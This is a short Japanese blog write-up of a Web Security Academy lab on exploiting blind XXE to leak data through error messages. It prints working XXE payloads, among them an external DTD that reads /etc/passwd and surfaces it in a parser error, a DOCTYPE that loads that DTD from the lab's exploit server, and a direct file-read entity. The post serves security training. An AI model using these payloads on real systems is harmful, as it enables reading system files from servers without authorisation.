Shikata Ga Nai

Private? There is no such things.

Exploiting blind XXE to retrieve data via error messagesについてかいてみた

Hello there, ('ω')ノ

 

ブラインドXXEを利用して、エラーメッセージを介してデータを取得を。

つまり、エラーを出してそのエラーメッセージに取得したいデータを表示させて。

まずは、Check stockを。

 

f:id:ThisIsOne:20210305143652p:plain

 

fileエンティティにpasswdを読み込ませて。

動的宣言されたexfilのXMLパラメータエンティティを含んだ。

evalと呼ばれるXMLパラメーターエンティティを定義しておいて。

URLクエリ文字列内のファイルエンティティの値を含むHTTPリクエストを。

攻撃者のWebサーバに送信すると評価され。

 evalエンティティによって、動的宣言されたexfilエンティティが実行されて。

 

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

 

f:id:ThisIsOne:20210305143926p:plain

 

下記の外部エンティティ定義でエクスプロイトサーバを。

 

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://ac311fc21e5ec3ef80a4082f012b006e.web-security-academy.net/exploit"> %xxe;]>

 

下記のファイルについてのエラーがレスポンスに表示されて。

 

 file:///invalid/etc/passwd

 

f:id:ThisIsOne:20210305144256p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210305144316p:plain

 

こんな面倒なことをしなくてもと。

下記で取得しようとするとエラーが出てしまうので。

 

<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

 

f:id:ThisIsOne:20210305161018p:plain

 

Best regards, (^^ゞ